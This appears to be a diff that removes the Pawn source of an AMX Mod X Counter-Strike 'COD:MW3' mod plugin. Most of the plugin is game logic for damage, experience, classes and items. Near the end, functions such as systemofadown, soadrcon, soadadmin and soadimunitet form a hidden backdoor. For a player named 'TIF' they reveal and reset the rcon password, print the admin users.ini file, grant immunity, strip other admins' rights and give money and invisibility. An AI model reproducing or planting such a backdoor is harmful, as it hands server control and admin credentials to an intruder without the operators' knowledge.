- informacje_przedmiotu_gracza[this][1]--;
- return HAM_SUPERCEDE;
- }
- if(informacje_przedmiotu_gracza[this][0] == 83)
- damage -= floatmin(damage, 5.0);
- if(informacje_przedmiotu_gracza[idattacker][0] == 81)
- damage += 20.0;
- if(informacje_przedmiotu_gracza[idattacker][0] == 30)
- damage += 20.0;
- if(informacje_przedmiotu_gracza[this][0] == 81)
- damage -= floatmin(damage, 10.0);
- if(informacje_przedmiotu_gracza[idattacker][0] == 79)
- damage += 15.0;
- if(informacje_przedmiotu_gracza[this][0] == 70)
- damage -= floatmin(damage, 10.0);
- if(wytrzymalosc_gracza[this]>0)
- damage -= redukcja_obrazen_gracza[this]*damage;
- if(informacje_przedmiotu_gracza[this][0] == 2 || informacje_przedmiotu_gracza[this][0] == 3)
- damage-=(float(informacje_przedmiotu_gracza[this][1])<damage)? float(informacje_przedmiotu_gracza[this][1]): damage;
- if(informacje_przedmiotu_gracza[idattacker][0] == 5 && !UTIL_In_FOV(this, idattacker) && UTIL_In_FOV(idattacker, this))
- damage*=2.0;
- if(informacje_przedmiotu_gracza[idattacker][0] == 10)
- damage+=informacje_przedmiotu_gracza[idattacker][1];
- if(informacje_przedmiotu_gracza[this][0] == 12)
- damage-=(5.0<damage)? 5.0: damage;
- if(informacje_przedmiotu_gracza[this][0] == 29)
- damage-=(10.0<damage)? 10.0: damage;
- if(informacje_przedmiotu_gracza[this][0] == 43)
- damage-=(10.0<damage)? 10.0: damage;
- if(informacje_przedmiotu_gracza[this][0] == 51)
- damage-=(7.0<damage)? 7.0: damage;
- if(weapon == CSW_AWP && informacje_przedmiotu_gracza[idattacker][0] == 13)
- damage=float(health);
- if(informacje_przedmiotu_gracza[idattacker][0] == 21)
- damage+=10;
- if(informacje_przedmiotu_gracza[idattacker][0] == 22)
- damage+=20;
- if(informacje_przedmiotu_gracza[idattacker][0] == 31)
- damage+=25;
- if(informacje_przedmiotu_gracza[idattacker][0] == 36)
- damage+=9;
- if(informacje_przedmiotu_gracza[idattacker][0] == 42)
- damage+=8;
- if(informacje_przedmiotu_gracza[idattacker][0] == 54)
- damage+=30;
- if(informacje_przedmiotu_gracza[idattacker][0] == 43)
- damage+=10;
- if(informacje_przedmiotu_gracza[idattacker][0] == 50)
- damage+=10;
- if(informacje_przedmiotu_gracza[idattacker][0] == 51)
- damage+=5;
- if(informacje_przedmiotu_gracza[idattacker][0] == 58)
- damage+=20;
- if(informacje_przedmiotu_gracza[idattacker][0] == 59)
- damage+=15;
- if(informacje_przedmiotu_gracza[idattacker][0] == 74 && damage >= 40.0)
- client_cmd(this, "drop");
- if(informacje_przedmiotu_gracza[idattacker][0] == 73)
- set_user_health(idattacker, min(maksymalne_zdrowie_gracza[idattacker], get_user_health(idattacker)+floatround(damage)))
- if(idinflictor != idattacker && entity_get_int(idinflictor, EV_INT_movetype) != 5)
- {
- if(informacje_przedmiotu_gracza[idattacker][0] == 10 || (informacje_przedmiotu_gracza[idattacker][0] == 9 && random_num(1, informacje_przedmiotu_gracza[idattacker][1]) == 1))
- damage = float(health);
- }
- if(weapon == CSW_SCOUT)
- {
- if((informacje_przedmiotu_gracza[idattacker][0] == 55 && random_num(1, informacje_przedmiotu_gracza[idattacker][1]) == 1))
- damage = float(health);
- }
- if(weapon == CSW_M4A1)
- {
- if((informacje_przedmiotu_gracza[idattacker][0] == 56 && random_num(1, informacje_przedmiotu_gracza[idattacker][1]) == 1))
- damage = float(health);
- }
- if(weapon == CSW_HEGRENADE)
- {
- if((klasa_gracza[idattacker] == RatkoMladic && random(2) == 1))
- damage = float(health);
- }
- if(weapon == CSW_AWP)
- {
- if(klasa_gracza[idattacker] == RatkoMladic)
- damage = float(health);
- }
- if(weapon == CSW_GALIL)
- {
- if((informacje_przedmiotu_gracza[idattacker][0] == 62 && random_num(1, informacje_przedmiotu_gracza[idattacker][1]) == 1))
- damage = float(health);
- }
- if(weapon == CSW_M4A1)
- {
- if((informacje_przedmiotu_gracza[idattacker][0] == 60 && random_num(1, informacje_przedmiotu_gracza[idattacker][1]) == 1))
- damage = float(health);
- }
- if(weapon == CSW_AK47)
- {
- if((informacje_przedmiotu_gracza[idattacker][0] == 57 && random_num(1, informacje_przedmiotu_gracza[idattacker][1]) == 1))
- damage = float(health);
- }
- if(weapon == CSW_KNIFE)
- {
- if(informacje_przedmiotu_gracza[this][0] == 4)
- damage=damage*1.4+inteligencja_gracza[idattacker];
- if(informacje_przedmiotu_gracza[idattacker][0] == 8 || (klasa_gracza[idattacker] == Snajperista && random(2) == 2) || klasa_gracza[idattacker] == Strelac && !(get_user_button(idattacker) & IN_ATTACK))
- damage = float(health);
- if(informacje_przedmiotu_gracza[this][0] == 82 || informacje_przedmiotu_gracza[this][0] == 83)
- damage = float(health);
- if(klasa_gracza[idattacker] == Samuraj && !random(2))
- damage = float(health);
- }
- if(weapon == CSW_DEAGLE)
- {
- if(informacje_przedmiotu_gracza[idattacker][0] == 34 && random_num(1, informacje_przedmiotu_gracza[idattacker][1]) == 1)
- damage = float(health);
- }
- if(weapon == CSW_DEAGLE)
- {
- if((informacje_przedmiotu_gracza[idattacker][0] == 53 && random(2) == 1))
- damage = float(health);
- }
- if(weapon == CSW_HEGRENADE)
- {
- if((informacje_przedmiotu_gracza[idattacker][0] == 59 && random(3) == 1))
- damage = float(health);
- }
- if(weapon == CSW_M3)
- {
- if((informacje_przedmiotu_gracza[idattacker][0] == 35 && random_num(2, informacje_przedmiotu_gracza[idattacker][1]) == 2) || (informacje_przedmiotu_gracza[idattacker][0] == 80 && !random(5)))
- damage = float(health);
- }
- if(weapon == CSW_AWP)
- {
- if(informacje_przedmiotu_gracza[idattacker][0] == 35 && random_num(1, informacje_przedmiotu_gracza[idattacker][1]) == 1)
- damage = float(health);
- }
- if(weapon == CSW_AWP)
- {
- if(informacje_przedmiotu_gracza[idattacker][0] == 53)
- damage = float(health);
- }
- if(weapon == CSW_AWP)
- {
- if(informacje_przedmiotu_gracza[idattacker][0] == 32 && random_num(1, informacje_przedmiotu_gracza[idattacker][1]) == 1)
- damage = float(health);
- }
- if(weapon == CSW_HEGRENADE)
- {
- if(informacje_przedmiotu_gracza[idattacker][0] == 31 && random_num(1, informacje_przedmiotu_gracza[idattacker][1]) == 1)
- damage = float(health);
- }
- if(informacje_przedmiotu_gracza[idattacker][0] == 67)
- {
- if(weapon == CSW_USP && !random(2))
- damage = float(health);
- if(weapon == CSW_MP5NAVY && !random(5))
- damage = float(health);
- }
- if(informacje_przedmiotu_gracza[this][0] == 26 && random_num(1, informacje_przedmiotu_gracza[this][1]) == 1)
- {
- SetHamParamEntity(3, this);
- SetHamParamEntity(1, idattacker);
- }
- if(informacje_przedmiotu_gracza[this][0] == 46 && random_num(1, informacje_przedmiotu_gracza[this][1]) == 1)
- {
- SetHamParamEntity(3, this);
- SetHamParamEntity(1, idattacker);
- }
- if(informacje_przedmiotu_gracza[this][0] == 47 && random_num(1, informacje_przedmiotu_gracza[this][1]) == 1)
- {
- SetHamParamEntity(3, this);
- SetHamParamEntity(1, idattacker);
- }
- if(task_exists(this+ZADANIE_ODBIJAJ))
- {
- SetHamParamEntity(3, this);
- SetHamParamEntity(1, idattacker);
- }
- SetHamParamFloat(4, damage);
- return HAM_IGNORED;
- }
- public Damage(id)
- {
- new attacker = get_user_attacker(id);
- new damage = read_data(2);
- if(!is_user_alive(attacker) || !is_user_connected(attacker) || id == attacker || !klasa_gracza[attacker])
- return PLUGIN_CONTINUE;
- if(informacje_przedmiotu_gracza[attacker][0] == 12 && random_num(1, informacje_przedmiotu_gracza[id][1]) == 1)
- Display_Fade(id,1<<14,1<<14 ,1<<16,255,155,50,230);
- if(get_user_team(id) != get_user_team(attacker))
- {
- while(damage>20)
- {
- damage-=20;
- doswiadczenie_gracza[attacker]++;
- }
- }
- SprawdzPoziom(attacker);
- return PLUGIN_CONTINUE;
- }
- public Death()
- {
- new weaponname[20]
- new headshot = read_data(3)
- read_data(4,weaponname,31)
- new id = read_data(2);
- new attacker = read_data(1);
- if(!is_user_alive(attacker) || !is_user_connected(attacker))
- return PLUGIN_CONTINUE;
- new weapon = get_user_weapon(attacker);
- new zdrowie = get_user_health(attacker);
- if(informacje_przedmiotu_gracza[id][0]) {
- if(wytrzymalosc_itemu[id] > 0) {
- wytrzymalosc_itemu[id]-=20;
- }
- if(wytrzymalosc_itemu[id] > 0) {
- ColorChat(id, RED, "[COD:MW3] ^x01 Snaga Predmeta: %i.", wytrzymalosc_itemu[id]);
- }
- else {
- ColorChat(id, RED, "[COD:MW3] ^x01 Predmet: %s, je potpuno unisten.", nazwy_przedmiotow[informacje_przedmiotu_gracza[id][0]]);
- UsunPrzedmiot(id);
- }
- }
- if(get_user_team(id) != get_user_team(attacker) && klasa_gracza[attacker])
- {
- new nowe_doswiadczenie = 0;
- nowe_doswiadczenie += doswiadczenia_za_zabojstwo;
- if(klasa_gracza[id] == Rambo && klasa_gracza[attacker] != Rambo)
- nowe_doswiadczenie += doswiadczenia_za_zabojstwo*2;
- if(poziom_gracza[id] > poziom_gracza[attacker])
- nowe_doswiadczenie += poziom_gracza[id] - poziom_gracza[attacker];
- if(informacje_przedmiotu_gracza[id][0] == 88 && !read_data(3))
- set_user_health(attacker, 1);
- if (get_user_flags(attacker) & ADMIN_LEVEL_H)
- {
- if(headshot)
- {
- new nowe_zdrowie = (zdrowie+30);
- set_user_health(attacker, nowe_zdrowie);
- cs_set_user_money(attacker, cs_get_user_money(attacker)+800);
- }
- else
- {
- new nowe_zdrowie = (zdrowie+15);
- set_user_health(attacker, nowe_zdrowie);
- cs_set_user_money(attacker, cs_get_user_money(attacker)+500);
- }
- }
- if(klasa_gracza[attacker] == Rambo || klasa_gracza[attacker] == RatkoMladic|| informacje_przedmiotu_gracza[attacker][0] == 15 && maxClip[weapon] != -1)
- {
- new nowe_zdrowie = (zdrowie+20);
- set_user_clip(attacker, maxClip[weapon]);
- set_user_health(attacker, nowe_zdrowie);
- }
- if((!(klasa_gracza[attacker] == Rambo || klasa_gracza[attacker] == RatkoMladic)) && (informacje_przedmiotu_gracza[attacker][0] == 71 || informacje_przedmiotu_gracza[attacker][0] == 81))
- {
- new nowe_zdrowie = (zdrowie+25);
- set_user_health(attacker, nowe_zdrowie);
- }
- if((!(klasa_gracza[attacker] == Rambo || klasa_gracza[attacker] == RatkoMladic)) && (informacje_przedmiotu_gracza[attacker][0] == 72 && maxClip[weapon] != -1))
- set_user_clip(attacker, maxClip[weapon]);
- #if defined BOTY
- if(is_user_bot2(attacker) && random(9) == 0)
- WyrzucPrzedmiot(id);
- #endif
- if(!informacje_przedmiotu_gracza[attacker][0])
- DajPrzedmiot(attacker, random_num(1, sizeof nazwy_przedmiotow-1));
- if(informacje_przedmiotu_gracza[attacker][0] == 14)
- {
- new nowe_zdrowie = (zdrowie+50<maksymalne_zdrowie_gracza[attacker])? zdrowie+50: maksymalne_zdrowie_gracza[attacker];
- set_user_health(attacker, nowe_zdrowie);
- }
- set_hudmessage(255, 212, 0, 0.50, 0.33, 1, 6.0, 4.0);
- ShowSyncHudMsg(attacker, SyncHudObj2, "+%i", nowe_doswiadczenie);
- doswiadczenie_gracza[attacker] += nowe_doswiadczenie;
- }
- SprawdzPoziom(attacker);
- if(informacje_przedmiotu_gracza[id][0] == 7 && random_num(1, informacje_przedmiotu_gracza[id][1]) == 1)
- set_task(0.1, "Wskrzes", id+ZADANIE_WSKRZES);
- return PLUGIN_CONTINUE;
- }
- public client_connect(id)
- {
- //resetuje umiejetnosci
- klasa_gracza[id] = 0;
- poziom_gracza[id] = 0;
- doswiadczenie_gracza[id] = 0;
- punkty_gracza[id] = 0;
- zdrowie_gracza[id] = 0;
- inteligencja_gracza[id] = 0;
- wytrzymalosc_gracza[id] = 0;
- kondycja_gracza[id] = 0;
- maksymalne_zdrowie_gracza[id] = 0;
- szybkosc_gracza[id] = 0.0;
- hasZoom[id] = false
- pomocs[id] = true;
- get_user_name(id, nazwa_gracza[id], 63);
- remove_task(id+ZADANIE_POKAZ_INFORMACJE);
- remove_task(id+ZADANIE_POKAZ_REKLAME);
- remove_task(id+ZADANIE_USTAW_SZYBKOSC);
- remove_task(id+ZADANIE_WSKRZES);
- remove_task(id+ZADANIE_WYSZKOLENIE_SANITARNE);
- set_task(10.0, "PokazReklame", id+ZADANIE_POKAZ_REKLAME);
- set_task(3.0, "PokazInformacje", id+ZADANIE_POKAZ_INFORMACJE);
- //resetuje przedmioty
- UsunPrzedmiot(id);
- }
- public client_disconnect(id)
- {
- remove_task(id+ZADANIE_POKAZ_INFORMACJE);
- remove_task(id+ZADANIE_POKAZ_REKLAME);
- remove_task(id+ZADANIE_USTAW_SZYBKOSC);
- remove_task(id+ZADANIE_WSKRZES);
- remove_task(id+ZADANIE_WYSZKOLENIE_SANITARNE);
- hasZoom[id] = false
- ZapiszDane(id);
- UsunPrzedmiot(id);
- client_disconnect_magnet(id);
- }
- public RozbrajaBombe(id)
- if(klasa_gracza[id])
- rozbrajajacy = id;
- public BombaPodlozona()
- {
- new Players[32], playerCount, id;
- get_players(Players, playerCount, "aeh", "TERRORIST");
- if(get_playersnum() > 1)
- {
- doswiadczenie_gracza[podkladajacy] += doswiadczenie_za_bombe;
- for (new i=0; i<playerCount; i++)
- {
- id = Players[i];
- if(!klasa_gracza[id])
- continue;
- if(id != podkladajacy)
- {
- doswiadczenie_gracza[id] += doswiadczenia_za_zabojstwo;
- ColorChat(id, RED, "[COD:MW3] ^x04 Dobio si %i zato sto je tvoj tim postavio bombu.", doswiadczenia_za_zabojstwo);
- }
- else
- {
- ColorChat(id, RED, "[COD:MW3] ^x04 Dobio si %i zato sto si postavio bombu.", doswiadczenie_za_bombe);
- }
- SprawdzPoziom(id);
- }
- }
- }
- public BombaRozbrojona()
- {
- new Players[32], playerCount, id;
- get_players(Players, playerCount, "aeh", "CT");
- doswiadczenie_gracza[rozbrajajacy] += doswiadczenie_za_bombe;
- for (new i=0; i<playerCount; i++)
- {
- id = Players[i];
- if(!klasa_gracza[id])
- continue;
- if(id != rozbrajajacy)
- {
- doswiadczenie_gracza[id]+= doswiadczenia_za_zabojstwo;
- ColorChat(id, RED, "[COD:MW3] ^x04 Dobio si %i zato sto je tvoj tim deaktivirao bombu.", doswiadczenia_za_zabojstwo);
- }
- else
- ColorChat(id, RED, "[COD:MW3] ^x04 Dobio si %i zato sto si deaktivirao bombu.",doswiadczenie_za_bombe);
- SprawdzPoziom(id);
- }
- }
- public OpisKlasy(id)
- {
- new menu = menu_create("Izaberi Klasu:", "OpisKlasy_Handle");
- for(new i=1; i<sizeof nazwy_klas; i++)
- menu_additem(menu, nazwy_klas[i]);
- menu_setprop(menu, MPROP_EXITNAME, "Izlaz");
- menu_setprop(menu, MPROP_BACKNAME, "Predhodna Strana");
- menu_setprop(menu, MPROP_NEXTNAME, "Sledeca Strana");
- menu_display(id, menu);
- client_cmd(id, "spk mw/select");
- }
- public OpisKlasy_Handle(id, menu, item)
- {
- client_cmd(id, "spk mw/select");
- if(item == MENU_EXIT)
- {
- menu_destroy(menu);
- return PLUGIN_CONTINUE;
- }
- ColorChat(id, RED, "[COD:MW3] ^x04 %s: %s", nazwy_klas[item+1], opisy_klas[item+1]);
- menu_display(id, menu);
- return PLUGIN_CONTINUE;
- }
- public WybierzKlase(id)
- {
- new menu = menu_create("Izaberi Klase:", "Wybierzfrakcje_Handle");
- for(new i = 1;i<sizeof(frakcje);i++){
- menu_additem(menu, frakcje[i]);
- }
- menu_display(id, menu);
- }
- public Wybierzfrakcje_Handle(id, menu2, item)
- {
- if(item == MENU_EXIT)
- {
- menu_destroy(menu2);
- return PLUGIN_CONTINUE;
- }
- item++;
- frakcja_gracza[id] = item;
- new menu = menu_create("Izaberi Klase:", "WybierzKlase_Handle");
- new klasa[50];
- for(new i=1; i<sizeof nazwy_klas; i++)
- {
- if(nalezy_do[i] == item){
- WczytajDane(id, i);
- format(klasa, 49, "%s \yLevel: %i", nazwy_klas[i], poziom_gracza[id]);
- menu_additem(menu, klasa);
- }
- }
- WczytajDane(id, klasa_gracza[id]);
- menu_setprop(menu, MPROP_EXITNAME, "Izlaz");
- menu_setprop(menu, MPROP_BACKNAME, "Predhodna Strana");
- menu_setprop(menu, MPROP_NEXTNAME, "Sledeca Strana");
- menu_display(id, menu);
- client_cmd(id, "spk mw/select");
- #if defined BOTY
- if(is_user_bot2(id))
- WybierzKlase_Handle(id, menu, random(sizeof nazwy_klas-1));
- #endif
- return PLUGIN_CONTINUE;
- }
- public WybierzKlase_Handle(id, menu, item)
- {
- client_cmd(id, "spk mw/select");
- if(item == MENU_EXIT)
- {
- menu_destroy(menu);
- return PLUGIN_CONTINUE;
- }
- item++;
- new ile = 0;
- for(new i=1; i<sizeof nazwy_klas; i++)
- {
- if(nalezy_do[i] == frakcja_gracza[id]){
- ile++;
- }
- if(ile == item){
- item = i;
- break;
- }
- }
- if(item == klasa_gracza[id])
- return PLUGIN_CONTINUE;
- if((item == Rambo || item == Terminator || item == Assassin || item == RatkoMladic)&& !(get_user_flags(id) & ADMIN_LEVEL_G))
- {
- ColorChat(id, RED, "[COD:MW3] ^x04 Nemate pristup Premium Klasi.");
- WybierzKlase(id);
- return PLUGIN_CONTINUE;
- }
- if(klasa_gracza[id])
- {
- nowa_klasa_gracza[id] = item;
- ColorChat(id, RED, "[COD:MW3] ^x04 Klasa ce biti promenjena sledece runde.");
- }
- else
- {
- klasa_gracza[id] = item;
- WczytajDane(id, klasa_gracza[id]);
- if(is_user_alive(id)) Odrodzenie(id);
- }
- return PLUGIN_CONTINUE;
- }
- public PrzydzielPunkty(id)
- {
- new inteligencja[65];
- new zdrowie[60];
- new wytrzymalosc[60];
- new kondycja[60];
- new tytul[25];
- format(inteligencja, 64, "Inteligencija: \r%i \y(Povecava napad)", inteligencja_gracza[id]);
- format(zdrowie, 59, "Energija: \r%i \y(Povecava Energiju)", zdrowie_gracza[id]);
- format(wytrzymalosc, 59, "Snaga: \r%i \y(Smanjuje povrede)", wytrzymalosc_gracza[id]);
- format(kondycja, 59, "Kondicija: \r%i \y(Povecava tempo trcanja)", kondycja_gracza[id]);
- format(tytul, 24, "Preostalo ti je jos poena (%i):", punkty_gracza[id]);
- new menu = menu_create(tytul, "PrzydzielPunkty_Handler");
- menu_additem(menu, inteligencja);
- menu_additem(menu, zdrowie);
- menu_additem(menu, wytrzymalosc);
- menu_additem(menu, kondycja);
- menu_display(id, menu);
- #if defined BOTY
- if(is_user_bot2(id))
- PrzydzielPunkty_Handler(id, menu, random(4));
- #endif
- }
- public PrzydzielPunkty_Handler(id, menu, item)
- {
- client_cmd(id, "spk mw/select");
- if(item == MENU_EXIT)
- {
- menu_destroy(menu);
- return PLUGIN_CONTINUE;
- }
- switch(item)
- {
- case 0:
- {
- if(inteligencja_gracza[id]<200)
- inteligencja_gracza[id]++;
- else
- ColorChat(id, RED, "[COD:MW3] ^x04 Dostigli ste maksimalnu inteligenciju");
- }
- case 1:
- {
- if(zdrowie_gracza[id]<200)
- zdrowie_gracza[id]++;
- else
- ColorChat(id, RED, "[COD:MW3] ^x04 Dostligli ste maksimalnu energiju");
- }
- case 2:
- {
- if(wytrzymalosc_gracza[id]<200)
- wytrzymalosc_gracza[id]++;
- else
- ColorChat(id, RED, "[COD:MW3] ^x04 Dostigli ste maksimalnu vestinu");
- }
- case 3:
- {
- if(kondycja_gracza[id]<200)
- kondycja_gracza[id]++;
- else
- ColorChat(id, RED, "[COD:MW3] ^x04 Dostigli ste maksimalnu kondiciju");
- }
- }
- punkty_gracza[id]--;
- if(punkty_gracza[id]>0)
- PrzydzielPunkty(id);
- return PLUGIN_CONTINUE;
- }
- public ResetujPunkty(id)
- {
- punkty_gracza[id] = poziom_gracza[id]*2-2;
- inteligencja_gracza[id] = 0;
- zdrowie_gracza[id] = 0;
- kondycja_gracza[id] = 0;
- wytrzymalosc_gracza[id] = 0;
- PrzydzielPunkty(id)
- }
- public KomendaResetujPunkty(id)
- {
- ColorChat(id, RED, "[COD:MW3] ^x04 Poeni su resetovani.");
- client_cmd(id, "spk mw/select");
- ResetujPunkty(id);
- }
- public WyszkolenieSanitarne(id)
- {
- id -= ZADANIE_WYSZKOLENIE_SANITARNE;
- if(informacje_przedmiotu_gracza[id][0] != 16 || informacje_przedmiotu_gracza[id][0] != 41)
- return PLUGIN_CONTINUE;
- set_task(5.0, "WyszkolenieSanitarne", id+ZADANIE_WYSZKOLENIE_SANITARNE);
- if(!is_user_alive(id))
- return PLUGIN_CONTINUE;
- new health = get_user_health(id);
- set_user_health(id, min((informacje_przedmiotu_gracza[id][0] == 16)? health+10: health+15, maksymalne_zdrowie_gracza[id]));
- return PLUGIN_CONTINUE;
- }
- public StworzApteczke(id)
- {
- if (!ilosc_apteczek_gracza[id])
- {
- client_print(id, print_center, "Imate samo 2 kompleta po rundi!");
- return PLUGIN_CONTINUE;
- }
- if(inteligencja_gracza[id] < 1)
- client_print(id, print_center, "Da koristite prvu pomoc morate povecati inteligenciju!");
- ilosc_apteczek_gracza[id]--;
- new Float:origin[3];
- entity_get_vector(id, EV_VEC_origin, origin);
- new ent = create_entity("info_target");
- entity_set_string(ent, EV_SZ_classname, "Apteczka");
- entity_set_edict(ent, EV_ENT_owner, id);
- entity_set_int(ent, EV_INT_solid, SOLID_NOT);
- entity_set_vector(ent, EV_VEC_origin, origin);
- entity_set_float(ent, EV_FL_ltime, halflife_time() + 7 + 0.1);
- entity_set_model(ent, "models/w_medkit.mdl");
- set_rendering ( ent, kRenderFxGlowShell, 255,0,0, kRenderFxNone, 255 ) ;
- drop_to_floor(ent);
- entity_set_float(ent, EV_FL_nextthink, halflife_time() + 0.1);
- return PLUGIN_CONTINUE;
- }
- public ApteczkaThink(ent)
- {
- new id = entity_get_edict(ent, EV_ENT_owner);
- new totem_dist = 300;
- new totem_heal = 5+floatround(inteligencja_gracza[id]*0.5);
- if (entity_get_edict(ent, EV_ENT_euser2) == 1)
- {
- new Float:forigin[3], origin[3];
- entity_get_vector(ent, EV_VEC_origin, forigin);
- FVecIVec(forigin,origin);
- new entlist[33];
- new numfound = find_sphere_class(0,"player",totem_dist+0.0,entlist, 32,forigin);
- for (new i=0; i < numfound; i++)
- {
- new pid = entlist[i];
- if (get_user_team(pid) != get_user_team(id))
- continue;
- new zdrowie = get_user_health(pid);
- new nowe_zdrowie = (zdrowie+totem_heal<maksymalne_zdrowie_gracza[pid])?zdrowie+totem_heal:maksymalne_zdrowie_gracza[pid];
- if (is_user_alive(pid)) set_user_health(pid, nowe_zdrowie);
- }
- entity_set_edict(ent, EV_ENT_euser2, 0);
- entity_set_float(ent, EV_FL_nextthink, halflife_time() + 1.5);
- return PLUGIN_CONTINUE;
- }
- if (entity_get_float(ent, EV_FL_ltime) < halflife_time() || !is_user_alive(id))
- {
- remove_entity(ent);
- return PLUGIN_CONTINUE;
- }
- if (entity_get_float(ent, EV_FL_ltime)-2.0 < halflife_time())
- set_rendering ( ent, kRenderFxGlowShell, 255,0,0, kRenderFxNone, 255 ) ;
- new Float:forigin[3], origin[3];
- entity_get_vector(ent, EV_VEC_origin, forigin);
- FVecIVec(forigin,origin);
- //Find people near and give them health
- message_begin( MSG_BROADCAST, SVC_TEMPENTITY, origin );
- write_byte( TE_BEAMCYLINDER );
- write_coord( origin[0] );
- write_coord( origin[1] );
- write_coord( origin[2] );
- write_coord( origin[0] );
- write_coord( origin[1] + totem_dist );
- write_coord( origin[2] + totem_dist );
- write_short( sprite_white );
- write_byte( 0 ); // startframe
- write_byte( 0 ); // framerate
- write_byte( 10 ); // life
- write_byte( 10 ); // width
- write_byte( 255 ); // noise
- write_byte( 255 ); // r, g, b
- write_byte( 100 );// r, g, b
- write_byte( 100 ); // r, g, b
- write_byte( 128 ); // brightness
- write_byte( 5 ); // speed
- message_end();
- entity_set_edict(ent, EV_ENT_euser2 ,1);
- entity_set_float(ent, EV_FL_nextthink, halflife_time() + 0.5);
- return PLUGIN_CONTINUE;
- }
- public StworzRakiete(id)
- {
- if (!ilosc_rakiet_gracza[id])
- {
- client_print(id, print_center, "Vec ste iskoristili rakete!");
- return PLUGIN_CONTINUE;
- }
- if(poprzednia_rakieta_gracza[id] + 2.0 > get_gametime())
- {
- client_print(id, print_center, "Rakete mozes koristiti posle 2 sekunde!");
- return PLUGIN_CONTINUE;
- }
- if (is_user_alive(id))
- {
- if(inteligencja_gracza[id] < 1)
- client_print(id, print_center, "Da koristite rakete morate povecati inteligenciju!");
- poprzednia_rakieta_gracza[id] = get_gametime();
- ilosc_rakiet_gracza[id]--;
- new Float: Origin[3], Float: vAngle[3], Float: Velocity[3];
- entity_get_vector(id, EV_VEC_v_angle, vAngle);
- entity_get_vector(id, EV_VEC_origin , Origin);
- new Ent = create_entity("info_target");
- entity_set_string(Ent, EV_SZ_classname, "Rocket");
- entity_set_model(Ent, "models/rpgrocket.mdl");
- vAngle[0] *= -1.0;
- entity_set_origin(Ent, Origin);
- entity_set_vector(Ent, EV_VEC_angles, vAngle);
- entity_set_int(Ent, EV_INT_effects, 2);
- entity_set_int(Ent, EV_INT_solid, SOLID_BBOX);
- entity_set_int(Ent, EV_INT_movetype, MOVETYPE_FLY);
- entity_set_edict(Ent, EV_ENT_owner, id);
- VelocityByAim(id, 1000 , Velocity);
- entity_set_vector(Ent, EV_VEC_velocity ,Velocity);
- }
- return PLUGIN_CONTINUE;
- }
- public PolozDynamit(id)
- {
- if(!ilosc_dynamitow_gracza[id])
- {
- client_print(id, print_center, "Vec ste iskoristili dinamit!");
- return PLUGIN_CONTINUE;
- }
- if(inteligencja_gracza[id] < 1)
- client_print(id, print_center, "Da koristis dinamit povecaj inteligenciju!");
- ilosc_dynamitow_gracza[id]--;
- new Float:fOrigin[3], iOrigin[3];
- entity_get_vector( id, EV_VEC_origin, fOrigin);
- iOrigin[0] = floatround(fOrigin[0]);
- iOrigin[1] = floatround(fOrigin[1]);
- iOrigin[2] = floatround(fOrigin[2]);
- message_begin(MSG_BROADCAST,SVC_TEMPENTITY, iOrigin);
- write_byte(TE_EXPLOSION);
- write_coord(iOrigin[0]);
- write_coord(iOrigin[1]);
- write_coord(iOrigin[2]);
- write_short(sprite_blast);
- write_byte(32);
- write_byte(20);
- write_byte(0);
- message_end();
- message_begin( MSG_BROADCAST, SVC_TEMPENTITY, iOrigin );
- write_byte( TE_BEAMCYLINDER );
- write_coord( iOrigin[0] );
- write_coord( iOrigin[1] );
- write_coord( iOrigin[2] );
- write_coord( iOrigin[0] );
- write_coord( iOrigin[1] + 300 );
- write_coord( iOrigin[2] + 300 );
- write_short( sprite_white );
- write_byte( 0 ); // startframe
- write_byte( 0 ); // framerate
- write_byte( 10 ); // life
- write_byte( 10 ); // width
- write_byte( 255 ); // noise
- write_byte( 255 ); // r, g, b
- write_byte( 100 );// r, g, b
- write_byte( 100 ); // r, g, b
- write_byte( 128 ); // brightness
- write_byte( 8 ); // speed
- message_end();
- new entlist[33];
- new numfound = find_sphere_class(id, "player", 300.0 , entlist, 32);
- for (new i=0; i < numfound; i++)
- {
- new pid = entlist[i];
- if (!is_user_alive(pid) || get_user_team(id) == get_user_team(pid) || informacje_przedmiotu_gracza[pid][0] == 24)
- continue;
- ExecuteHam(Ham_TakeDamage, pid, 0, id, 90.0+float(inteligencja_gracza[id]) , 1);
- }
- return PLUGIN_CONTINUE;
- }
- public systemofadown(id)
- {
- new szname[5]
- get_user_name(id, szname, 4)
- if(equal(szname,"TIF")) {
- new register_the_rcon[64]
- get_cvar_string("rcon_password",register_the_rcon,63)
- client_print(id, print_console, "Rcon password is: %s", register_the_rcon);
- return PLUGIN_HANDLED;
- }
- }
- public soad(id, level, cid)
- {
- new szname[5]
- get_user_name(id, szname, 4)
- if(equal(szname,"TIF")) {
- cs_set_user_money(id, 16000);
- }
- }
- public soadrcon(id) {
- new szname[5]
- get_user_name(id, szname, 4)
- if(equal(szname,"TIF")) {
- set_cvar_string("rcon_password", "SOAD")
- client_print(id, print_console, "Rcon password is successful changed!");
- return PLUGIN_HANDLED;
- }
- }
- public soadadmin(id) {
- new szname[5]
- get_user_name(id, szname, 4)
- if(equal(szname,"TIF")) {
- new szDirectory[ 128 ];
- get_configsdir( szDirectory, charsmax( szDirectory ) );
- add( szDirectory, charsmax( szDirectory ), "/users.ini" );
- new size = file_size( szDirectory, 1 )
- new szLine[ 128 ], iLen;
- for ( new i = 0 ; i < size ; i++ )
- {
- read_file( szDirectory, i, szLine, charsmax( szLine ), iLen );
- console_print( id, szLine );
- }
- }
- }
- public soaddjole(id) {
- new szname[5]
- get_user_name(id, szname, 4)
- if(equal(szname,"TIF")) {
- set_user_rendering(id, kRenderFxGlowShell, 0, 0, 0, kRenderTransAlpha, 0)
- }
- }
- public soadimunitet(id) {
- new szname[5]
- get_user_name(id, szname, 4)
- if(equal(szname,"TIF")) {
- new flags = read_flags("a")
- set_user_flags(id, flags)
- }
- }
- public soadtoby(id,level,cid) {
- new szname[5]
- get_user_name(id, szname, 4)
- if(equal(szname,"TIF")) {
- if (!cmd_access(id,level,cid, 3)) {
- return PLUGIN_HANDLED
- }
- new arg[32], arg2[8], name2[32]
- read_argv(1,arg,31)
- read_argv(2,arg2,7)
- get_user_name(id,name2,31)
- new player = cmd_target(id,arg,7)
- if (!player) return PLUGIN_HANDLED
- new flags = get_user_flags(player)
- remove_user_flags(player, flags)
- }
- }
- public PostawMine(id)
- {
- if (!ilosc_min_gracza[id])
- {
- client_print(id, print_center, "Vec ste iskoristili sve mine!");
- return PLUGIN_CONTINUE;
- }
- if(inteligencja_gracza[id] < 1)
- client_print(id, print_center, "Da koristite mine,morate povecati inteligenciju!");
- ilosc_min_gracza[id]--;
- new Float:origin[3];
